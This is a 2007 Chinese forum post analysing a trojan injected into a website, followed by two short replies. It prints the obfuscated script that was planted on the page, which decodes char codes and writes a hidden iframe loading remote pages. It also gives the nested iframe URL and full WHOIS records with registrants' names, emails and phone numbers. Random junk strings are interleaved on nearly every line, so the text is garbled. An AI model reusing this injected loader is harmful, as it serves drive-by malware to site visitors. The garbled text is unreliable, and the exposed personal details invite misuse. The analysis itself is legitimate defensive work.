社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 5309阅读
  • 2回复

[原创]一篇刚写的分析木马手记

级别: 店掌柜
发帖
5692
铜板
103378
人品值
1520
贡献值
26
交易币
0
好评度
5373
信誉值
0
金币
0
所在楼道

首发在我的博客里面,  +n1!xv]  
R ]Ev=V'U  
http://www.areway.cn/?p=175 S,5ok0R  
t$BjJ -G  
x?AG*' h&  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: yY VR]HH  
          p]aEC+q  
<script>t=’60,105,102,114,97,109,101, J3yK^@&&  
32,115,114,99,61,104,116,116,112,58,47,47, e#[Klh$]EW  
102,114,101,101,46,117,45,117,117,117,46,99, s^u  Y   
110,47,101,114,114,111,114,46,104,116,109, "7cty\  
32,119,105,100,116,104,61,49,48,48,32,104, B.N#9u-vW  
101,105,103,104,116,61,48,62,60,47,105,102, ` o)KG,  
114,97,109,101,62′; 7xnj\9$m  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> ZTR9e\F  
                                                                                                  N R c4*zQJ  
<script>t=’60,105,102,114,97,109,101,32,115, < $zJi V  
114,99,61,104,116,116,112,58,47,47,102,114, xpdpD  
101,101,46,117,45,117,117,117,46,99,110,47, 1T|f<ChIF<  
101,114,114,111,114,46,104,116,109,32,119, eB0exPz%  
105,100,116,104,61,49,48,48,32,104,101,105, <8WFaP3,  
103,104,116,61,48,62,60,47,105,102,114,97, Lu#qo^  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); ,z&S;f.f  
document.write(t);</script> <rzP  
                                                                                                  1Vpti4OmU  
<html xmlns=” rC8p!e.yL  
http://www.w3.org/1999/xhtml #-yCR  
“> Lx,=Up.  
<head> >)M{^  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> Z],j|r Wy6  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> ;21D^e  
<title>首页 - 爱生活家庭网 ytttF5-  
                                                                                                                                                    TOwqr T/  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 w)dnmrKDZg  
转换字符串后的大概内容是(谁点击后果自付): V 20h\(\\  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… tSHW"R  
                                                                                                                                  #eW T-m  
查询玉米u-uuu.cn的详细信息: `n&:\Ib  
Domain Name: u-uuu.cn zQ,rw[C"W  
ROID: 20070901s10001s64972306-cn R4p Pt  
Domain Status: ok ]-gyXE1.r  
Registrant Organization: 王雷 z0[@O)Sj  
Registrant Name: 王雷 ggD T5hb  
Administrative Email: czlovexs@126.com bRvGetX  
Sponsoring Registrar: 北京万网志成科技有限公司 @&\Y:aRO%i  
Name Server:ns.yovole.com K<P d.:  
Name Server:ns1.yovole.com QFP9"FM5F  
Registration Date: 2007-09-01 17:54 H )ej]DXy  
Expiration Date: 2008-09-01 17:54 ACyK#5E  
最后PING了一下地址 都没有什么…. Mj@2=c  
                                                                                                @R&d<^I&M  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. 'AA9F$Dz  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> atyvo0fNd  
<script language=”javascript” src=” 4!dc/K  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script !!C/($  
> 8}|et~7!  
这个玉米应该有可能是木马作者的: f~VlCdf+  
foafau.info的详细信息: }n^Rcz6HeO  
Access to INFO WHOIS information is provided to assist persons in TIGtX]`  
determining the contents of a domain name registration record in the $d*9]M4  
Afilias registry database. The data in this record is provided by "\wMs  
Afilias Limited for informational purposes only, and Afilias does not kY)Vr3uGA  
guarantee its accuracy.  This service is intended only for query-based i$NlS}W  
access. You agree that you will use this data only for lawful purposes (d_z\U7l  
and that, under no circumstances will you use this data to: (a) allow, / l$enexSt  
enable, or otherwise support the transmission by e-mail, telephone, or rUI?{CV  
facsimile of mass unsolicited, commercial advertising or solicitations /3,/j)`a  
to entities other than the data recipient’s own existing customers; or ovKM;cRs/  
(b) enable high volume, automated, electronic processes that send ABCm2$<  
queries or data to the systems of Registry Operator, a Registrar, or Yg&(kmm  
Afilias except as reasonably necessary to register domain names or ?X@!jB,Pv  
modify existing registrations. All rights reserved. Afilias reserves G80N8Lm  
the right to modify these terms at any time. By submitting this query, GRcPzneiz  
you agree to abide by this policy. >pF*unC;  
Domain ID:D22418703-LRMS zj7ta[<tr  
Domain Name:FOAFAU.INFO ~nA k-toJ  
Created On:20-Nov-2007 16:05:42 UTC p@jw)xI  
Last Updated On:20-Nov-2007 16:05:44 UTC ed6@o4D/kf  
Expiration Date:20-Nov-2008 16:05:42 UTC re*}a)iL  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) =Dn <DV  
Status:CLIENT DELETE PROHIBITED :8`A  
Status:CLIENT RENEW PROHIBITED KQr+VQdq>  
Status:CLIENT TRANSFER PROHIBITED xO|r<R7d7  
Status:CLIENT UPDATE PROHIBITED D, ")n75  
Status:TRANSFER PROHIBITED W %*#rcdq  
Registrant ID:GODA-040110615 O,r;-t4vYU  
Registrant Name:liu hong p!pf2}6Fd  
Registrant Organization: X.b8qbnq[  
Registrant Street1:beijing =v:?rY}  
Registrant Street2: gkr9+  
Registrant Street3: p#$/{;yy  
Registrant City:beijing 4Fg2/O_3  
Registrant State/Province: x*1wsA  
Registrant Postal Code:100000 z$J m1l  
Registrant Country:CN YY;<y%:8Z  
Registrant Phone:+86.860108888777 N`W[Q>n  
Registrant Phone Ext.: kyHli~Nr"  
Registrant FAX: Rzd`MIHDp  
Registrant FAX Ext.: mi=mwN%UB  
Registrant Email:bbbshiji@163.com NzT &K7v  
Admin ID:GODA-240110615 `G$>T#Dq  
Admin Name:liu hong BA h'H&;V  
Admin Organization: ei5YxV6I  
Admin Street1:beijing }5+^  
Admin Street2: H~FI@Cf$L  
Admin Street3: 3X gJZ  
Admin City:beijing 2F2Hl   
Admin State/Province: DZqPCMz)^  
Admin Postal Code:100000 k!Yc_ZB:*l  
Admin Country:CN cC-8.2  
Admin Phone:+86.860108888777 Kn^+kHh:  
Admin Phone Ext.: ]Q"T8drL  
Admin FAX: SW9 C 8Q  
Admin FAX Ext.: z|>TkCW6  
Admin Email:bbbshiji@163.com y-hTTd"{  
Billing ID:GODA-340110615 AqgY*"A7  
Billing Name:liu hong >/n];fl>8  
Billing Organization: 8"&!3_  
Billing Street1:beijing d27q,2f!  
Billing Street2: nI3p`N8j*  
Billing Street3: *'?ZG/ (  
Billing City:beijing Kg 6J:HD49  
Billing State/Province: 9VW/Af  
Billing Postal Code:100000 ,[;O'g?,g  
Billing Country:CN |.@!CqJ  
Billing Phone:+86.860108888777 ZXx1S?u  
Billing Phone Ext.: uZl d9u  
Billing FAX: %6[,a  
Billing FAX Ext.: "}71z  
Billing Email:bbbshiji@163.com =f~<*wQ  
Tech ID:GODA-140110615 aBC5?V*e%  
Tech Name:liu hong 4v_Ac;2m&  
Tech Organization: wa[L[mw  
Tech Street1:beijing ,SIS3A>s  
Tech Street2: c 4AJ`f.5  
Tech Street3: naR<  
Tech City:beijing d`/8Q9tQ  
Tech State/Province: wh(_<VZ  
Tech Postal Code:100000 KkUK" Vc  
Tech Country:CN :A8r{`R'N  
Tech Phone:+86.860108888777 8c) eaDu  
Tech Phone Ext.: 'pt(  
Tech FAX: DWU=qD+  
Tech FAX Ext.: Ur+U#}  
Tech Email:bbbshiji@163.com Ae7FtJO  
Name Server:NS27.DOMAINCONTROL.COM ^Q#_  
Name Server:NS28.DOMAINCONTROL.COM %2:UsI  
Name Server: ^0zfQu+!  
Name Server: 5'set?  
Name Server: 6_%Cd`4Z  
Name Server: cq[9#@ 4=  
Name Server: {YiMd oMhg  
Name Server: jj`#;Y  
Name Server:  N}5  
Name Server: d}O\:\}y  
Name Server: h3 H Udu  
Name Server: ZQlk 5  
Name Server: 6)1PDlB  
                                                                                                          `dm*vd  
接着下载每个文件里面的代码: wNUT0+  
一步一步看.. My>q%lF=fw  
bpc1> ?  
@K <Onh`  
/Q st :q  
xuUEJ a&  
7I ~O| Mw  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水

简单生活
执著追求
别笑我浅溥,天真的以为用一腔真诚就能感动这个冷漠的世界。
也别说我幼稚,竟想用不长的人生去诠释繁杂的红尘。
然而除了真诚,我还能给你什么,的确我真的一无所有!

级别: 店掌柜
发帖
4241
铜板
744
人品值
897
贡献值
7
交易币
0
好评度
2216
信誉值
0
金币
0
所在楼道
只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八